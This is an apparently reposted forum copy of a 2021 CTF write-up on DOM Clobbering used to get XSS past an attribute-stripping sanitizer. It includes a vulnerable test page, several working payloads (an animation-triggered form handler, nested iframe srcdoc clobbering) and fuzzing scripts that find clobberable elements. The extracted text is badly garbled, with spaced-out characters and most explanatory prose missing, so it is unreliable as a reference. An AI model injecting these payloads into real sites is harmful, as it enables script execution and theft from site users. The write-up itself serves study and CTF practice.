[419] 2021-08-02_DomClobbering(XSS)

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-16
2021-08-02_DomClobbering(XSS) D o m   C l o b b e r i n g X S S a l u m m 0 x   a l u m m 0 x   2 0 2 1 - 0 8 - 0 2   # x s s   , 3 p 1 9 C T F < ! D O C T Y P E   h t m l > < h t m l > < b o d y > < i m g   i d = x > < i m g   n a m e = y > < / b o d y > < s c r i p t > c o n s t   d a t a   =   d e c o d e U R I C o m p o n e n t ( l o c a t i o n . h a s h . s u b s t r ( 1 ) ) ; c o n s t   r o o t   =   d o c u m e n t . c r e a t e E l e m e n t ( ' d i v ' ) ; r o o t . i n n e r H T M L   =   d a t a ;   / / p a y l o a d / / h t t p : / / l o c a l h o s t / x s s . h t m l # < s t y l e > @ k e y f r a m e s   x { } < / s t y l e > < f o r m   s t y l e = " a n i m a t i o n - n a m e : x "   o n a n i m a t i o n s t a r t = " a l e r t ( 1 1 1 1 ) " > < i n p u t   i d = a t t r i b u t e s > < i n p u t   i d = a t t r i b u t e s > f o r   ( l e t   e l   o f   r o o t . q u e r y S e l e c t o r A l l ( ' * ' ) )   { l e t   a t t r s   =   [ ] ; f o r   ( l e t   a t t r   o f   e l . a t t r i b u t e s )   { a t t r s . p u s h ( a t t r . n a m e ) ; } f o r   ( l e t   n a m e   o f   a t t r s )   { e l . r e m o v e A t t r i b u t e ( n a m e ) ; } }   d o c u m e n t . b o d y . a p p e n d C h i l d ( r o o t ) ;   < / s c r i p t > < / h t m l > p o r t s w i g g e r h t t p s : / / p o r t s w i g g e r . n e t / w e b - s e c u r i t y / d o m - b a s e d / d o m - c l o b b e r i n g D O M   c l o b b e r i n g   H T M L     D O M     J a v a S c r i p t     X S S     D O M   C l o b b e r i n g  
< i m g   i d = x > < i m g   n a m e = y > c o n s o l e 访 n a m e 访 h t m l d o c u m e n t w i n d o w D O M     D O M   D O M   D O M   L e v e l   0   &   1   J a v a S c r i p t   使   d o c u m e n t . f o r m s     W i n d o w     D o c u m e n t     n a m e     i d     D O M     D O M     n a m e   &   i d     d o c u m e n t   < i m g   n a m e = c o o k i e >
d o c u m e n t . b o d y . a p p e n d C h i l d < f o r m   n a m e = b o d y >     < i m p u t   n a m e = a p p e n d C h i l d > < / f o r m > h t m l < d i v   i d = " x " > < a   i d = " x "   n a m e = y   h r e f = " t e s t " > < / a > < / d i v > u n d e f i n e d @ z e d d y u S t r i n g
  H T M L     c o l l e c t i o n [ n a m e ]   S t r i n g h t m l f u z z < a   i d = t e s t   h r e f = " 1 : x s s " > < a r e a   i d = t e s t 1   h r e f = " 1 : x s s " > a r e a < / a r e a > a l e r t ( t e s t ) a l e r t ( t e s t 1 ) f u z z O b j e c t . g e t O w n P r o p e r t y N a m e s ( w i n d o w ) . f i l t e r ( p   = >   p . m a t c h ( / E l e m e n t $ / ) ) . m a p ( p   = >   w i n d o w [ p ] ) . f i l t e r ( p   = >   p   & &   p . p r o t o t y p e   & &   p . p r o t o t y p e . t o S t r i n g   ! = = O b j e c t . p r o t o t y p e . t o S t r i n g )   c o l l e c t i o n [ n a m e ]   < d i v   i d = " x " >         < a   i d = " x "   n a m e = y   h r e f = " 1 : h a s a k i " > < / a > < / d i v >
i d n a m e H T M L C l l e c t i o n f i r e f o x u n d e f i n e d   H T M L   < f o r m   n a m e = b o d y >       < i m p u t   n a m e = a p p e n d C h i l d > < / f o r m > b o d y . a p p e n d C h i l d f u z z f o r m - > b u t t o n f o r m - > f i e l d s e t f o r m - > i m a g e f o r m - > i m g f o r m - > i n p u t f o r m - > o b j e c t f o r m - > o u t p u t f o r m - > s e l e c t f o r m - > t e x t a r e a c o l l e c t i o n [ n a m e ] i d n a m e
< d i v   i d = " x " >   < a   i d = " x "   n a m e = y   h r e f = " 1 : h a s a k i " > < / a > < / d i v > < s c r i p t >     a l e r t ( x . y ) ; < / s c r i p t > < f o r m   i d = " x "   n a m e = " y " > < o u t p u t   i d = z > I ' v e   b e e n   c l o b b e r e d < / o u t p u t > < / f o r m > < f o r m   i d = " x " > < / f o r m > < s c r i p t > a l e r t ( x . y . z . v a l u e ) ; < / s c r i p t > i f r a m e     s r c d o c   < i f r a m e   n a m e = a   s r c d o c = " < i f r a m e   s r c d o c = ' < a   i d = c   n a m e = d   h r e f = c i d : C l o b b e r e d > t e s t < / a > < a   i d = c > '   n a m e = b > " > < / i f r a m e > < s c r i p t > s e t T i m e o u t ( ( ) = > a l e r t ( a . b . c . d ) , 5 0 0 ) < / s c r i p t > f u z z v a r   l o g = [ ] ; v a r   h t m l   = [ " a " , " a b b r " , " a c r o n y m " , " a d d r e s s " , " a p p l e t " , " a r e a " , " a r t i c l e " , " a s i d e " , " a u d i o " , " b " , " b a s e " , " b a s e f o n t " , " b d i " , " b d o " , " b g s o u n d " , " b i g " , " b l i n k " , " b l o c k q u o t e " , " b o d y " , " b r " , " b u t t o n " , " c a n v a s " , " c a p t i o n " , " c e n t e r " , " c i t e " , " c o d e " , " c o l " , " c o l g r o u p " , " c o m m a n d " , " c o n t e n t " , " d a t a " , " d a t a l i s t " , " d d " , " d e l " , " d e t a i l s " , " d f n " , " d i a l o g " , " d i r " , " d i v " , " d l " , " d t " , " e l e m e n t " , " e m " , " e m b e d " , " f i e l d s e t " , " f i g c a p t i o n " , " f i g u r e " , " f o n t " , " f o o t e r " , " f o r m " , " f r a m e " , " f r a m e s e t " , " h 1 " , " h e a d " , " h e a d e r " , " h g r o u p " , " h r " , " h t m l " , " i " , " i f r a m e " , " i m a g e " , " i m g " , " i n p u t " , " i n s " , " i s i n d e x " , " k b d " , " k e y g e n " , " l a b e l " , " l e g e n d " , " l i " , " l i n k " , " l i s t i n g " , " m a i n " , " m a p " , " m a r k " , " m a r q u e e " , " m e n u " , " m e n u i t e m " , " m e t a " , " m e t e r " , " m u l t i c o l " , " n a v " , " n e x t i d " , " n o b r " , " n o e m b e d " , " n o f r a m e s " , " n o s c r i p t " , " o b j e c t " , " o l " , " o p t g r o u p " , " o p t i o n " , " o u t p u t " , " p " , " p a r a m " , " p i c t u r e " , " p l a i n t e x t " , " p r e " , " p r o g r e s s " , " q " , " r b " , " r p " , " r t " , " r t c " , " r u b y " , " s " , " s a m p " , " s c r i p t " , " s e c t i o n " , " s e l e c t " , " s h a d o w " , " s l o t " , " s m a l l " , " s o u r c e " , " s p a c e r " , " s p a n " , " s t r i k e " , " s t r o n g " , " s t y l e " , " s u b " , " s u m m a r y " , " s u p " , " s v g " , " t a b l e " , " t b o d y " , " t d " , " t e m p l a t e " , " t e x t a r e a " , " t f o o t " , " t h " , " t h e a d " , " t i m e " , " t i t l e " , " t r " , " t r a c k " , " t t " , " u " , " u l " , " v a r " , " v i d e o " , " w b r " , " x m p " ] ,   l o g s   =   [ ] ; d i v = d o c u m e n t . c r e a t e E l e m e n t ( ' d i v ' ) ; f o r ( v a r   i = 0 ; i < h t m l . l e n g t h ; i + + )   { f o r ( v a r   j = 0 ; j < h t m l . l e n g t h ; j + + )   { d i v . i n n e r H T M L = ' < ' + h t m l [ i ] + '   i d = e l e m e n t 1 > ' + ' < ' + h t m l [ j ] + '   i d = e l e m e n t 2 > ' ; d o c u m e n t . b o d y . a p p e n d C h i l d ( d i v ) ; i f ( w i n d o w . e l e m e n t 1   & &   e l e m e n t 1 . e l e m e n t 2 ) { l o g . p u s h ( h t m l [ i ] + ' , ' + h t m l [ j ] ) ; } d o c u m e n t . b o d y . r e m o v e C h i l d ( d i v ) ;
} } c o n s o l e . l o g ( l o g . j o i n ( ' n ' ) ) ; n a m e i d i d n a m e i d < a   n a m e = " x "     h r e f = " 1 : h a s a k i " > < / a > < d i v   n a m e = " x " > u n d e f i n e d d o c u m e n t   &   i d f u z z v a r   h t m l   =   [ . . . ] ; / / H T M L   e l e m e n t s   a r r a y v a r   l o g   =   [ ] ; v a r   d i v   =   d o c u m e n t . c r e a t e E l e m e n t ( " d i v " ) ; f o r   ( v a r   i   =   0 ;   i   <   h t m l . l e n g t h ;   i + + )   { d i v . i n n e r H T M L   =   " < "   +   h t m l [ i ]   +   "   i d = x   > " ; d o c u m e n t . b o d y . a p p e n d C h i l d ( d i v ) ; i f   ( d o c u m e n t . x   = =   d o c u m e n t . g e t E l e m e n t B y I d ( ' x ' )   & &   d o c u m e n t . x   ! =   u n d e f i n e d )   { l o g . p u s h ( h t m l [ i ] ) ; } d o c u m e n t . b o d y . r e m o v e C h i l d ( d i v ) ; } c o n s o l e . l o g ( l o g ) ; o b j e c t d o c u m e n t   &   n a m e f u z z
d o c u m e n t . x   = =   d o c u m e n t . g e t E l e m e n t s B y N a m e ( " x " ) [ 0 ]   & &   d o c u m e n t . x   ! =   u n d e f i n e d [ " e m b e d " ,   " f o r m " ,   " i m a g e " ,   " i m g " ,   " o b j e c t " ] d o c u m e n t   &   i d   &   n a m e f u z z v a r   h t m l   =   [ . . . ] ; / / H T M L   e l e m e n t s   a r r a y v a r   l o g   =   [ ] ; v a r   d i v   =   d o c u m e n t . c r e a t e E l e m e n t ( " d i v " ) ; f o r   ( v a r   i   =   0 ;   i   <   h t m l . l e n g t h ;   i + + )   { d i v . i n n e r H T M L   =   " < "   +   h t m l [ i ]   +   "   i d = x   n a m e = y   > " ; d o c u m e n t . b o d y . a p p e n d C h i l d ( d i v ) ; i f   ( d o c u m e n t . x   = =   d o c u m e n t . g e t E l e m e n t s B y N a m e ( " y " ) [ 0 ]   & &   d o c u m e n t . x   ! = u n d e f i n e d )   { l o g . p u s h ( h t m l [ i ] ) ; } d o c u m e n t . b o d y . r e m o v e C h i l d ( d i v ) ; } c o n s o l e . l o g ( l o g ) ; [ " i m a g e " ,   " i m g " ,   " o b j e c t " ] w i n d o w N o t   C l o b b e r e d [ " b o d y " ,   " c a p t i o n " ,   " c o l " ,   " c o l g r o u p " ,   " f r a m e " ,   " f r a m e s e t " ,   " h e a d " ,   " h t m l " , " t b o d y " ,   " t d " ,   " t f o o t " ,   " t h " ,   " t h e a d " ,   " t r " ] w i n d o w   &   i d f u z z v a r   h t m l   =   [ . . . ] ; / / H T M L   e l e m e n t s   a r r a y v a r   l o g   =   [ ] ; v a r   d i v   =   d o c u m e n t . c r e a t e E l e m e n t ( " d i v " ) ; f o r   ( v a r   i   =   0 ;   i   <   h t m l . l e n g t h ;   i + + )   { d i v . i n n e r H T M L   =   " < "   +   h t m l [ i ]   +   "   i d = x   > " ; d o c u m e n t . b o d y . a p p e n d C h i l d ( d i v ) ; i f   ( w i n d o w . x   = =   d o c u m e n t . g e t E l e m e n t B y I d ( ' x ' )   & &   w i n d o w . x   ! =   u n d e f i n e d )   { l o g . p u s h ( h t m l [ i ] ) ; } d o c u m e n t . b o d y . r e m o v e C h i l d ( d i v ) ; } c o n s o l e . l o g ( l o g ) ; N o t   C l o b b e r e d
w i n d o w   &   n a m e f u z z w i n d o w . x   = =   d o c u m e n t . g e t E l e m e n t s B y N a m e ( " x " ) [ 0 ]   & &   w i n d o w . x   ! =   u n d e f i n e d [ " e m b e d " ,   " f o r m " ,   " i m a g e " ,   " i m g " ,   " o b j e c t " ] . . . . C T F . f o r   ( l e t   e l   o f   r o o t . q u e r y S e l e c t o r A l l ( ' * ' ) )   { l e t   a t t r s   =   [ ] ; f o r   ( l e t   a t t r   o f   e l . a t t r i b u t e s )   { a t t r s . p u s h ( a t t r . n a m e ) ; } c o n s o l e . l o g ( e l ,   a t t r s ) ; f o r   ( l e t   n a m e   o f   a t t r s )   { e l . r e m o v e A t t r i b u t e ( n a m e ) ; } } p a y l o a d # < s t y l e > @ k e y f r a m e s % 2 0 x { } < / s t y l e > < f o r m % 2 0 s t y l e = " a n i m a t i o n - n a m e : x " % 2 0 o n a n i m a t i o n s t a r t = " a l e r t ( 1 1 1 1 1 1 1 1 ) " > < i n p u t % 2 0 i d = a t t r i b u t e s > < i n p u t % 2 0 i d = a t t r i b u t e s > < i n p u t % 2 0 i d = a t t r i b u t e s >
f o r m f o r m # < s t y l e > @ k e y f r a m e s % 2 0 x { } < / s t y l e > < f o r m % 2 0 s t y l e = " a n i m a t i o n - n a m e : x " % 2 0 o n a n i m a t i o n s t a r t = " a l e r t ( 1 1 1 1 1 1 1 1 ) " % 2 0 m e t h o d = g e t > < i n p u t % 2 0 i d = a t t r i b u t e s > < i n p u t % 2 0 i d = a t t r i b u t e s > e l . a t t r i b u t e s < i n p u t % 2 0 i d = a t t r i b u t e s > e l . a t t r i b u t e s c o l l e c t i o n i d n a m e H T M L C o l l e c t i o n i n p u t # < s t y l e > @ k e y f r a m e s % 2 0 x { } < / s t y l e > < f o r m % 2 0 s t y l e = " a n i m a t i o n - n a m e : x " % 2 0 o n a n i m a t i o n s t a r t = " a l e r t ( 1 1 1 1 1 1 1 1 ) " % 2 0 m e t h o d = g e t > < i n p u t % 2 0 i d = a t t r i b u t e s > < i n p u t % 2 0 i d = a t t r i b u t e s > < i n p u t % 2 0 i d = a t t r i b u t e s > p p a y l o a d < s v g > < s c g / o n l o a d = a l e r t ( 1 ) > h t t p s : / / p o r t s w i g g e r . n e t / w e b - s e c u r i t y / d o m - b a s e d / d o m - c l o b b e r i n g h t t p s : / / b l o g . z e d d y u . i n f o / 2 0 2 0 / 0 3 / 0 4 / D o m - C l o b b e r i n g /
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则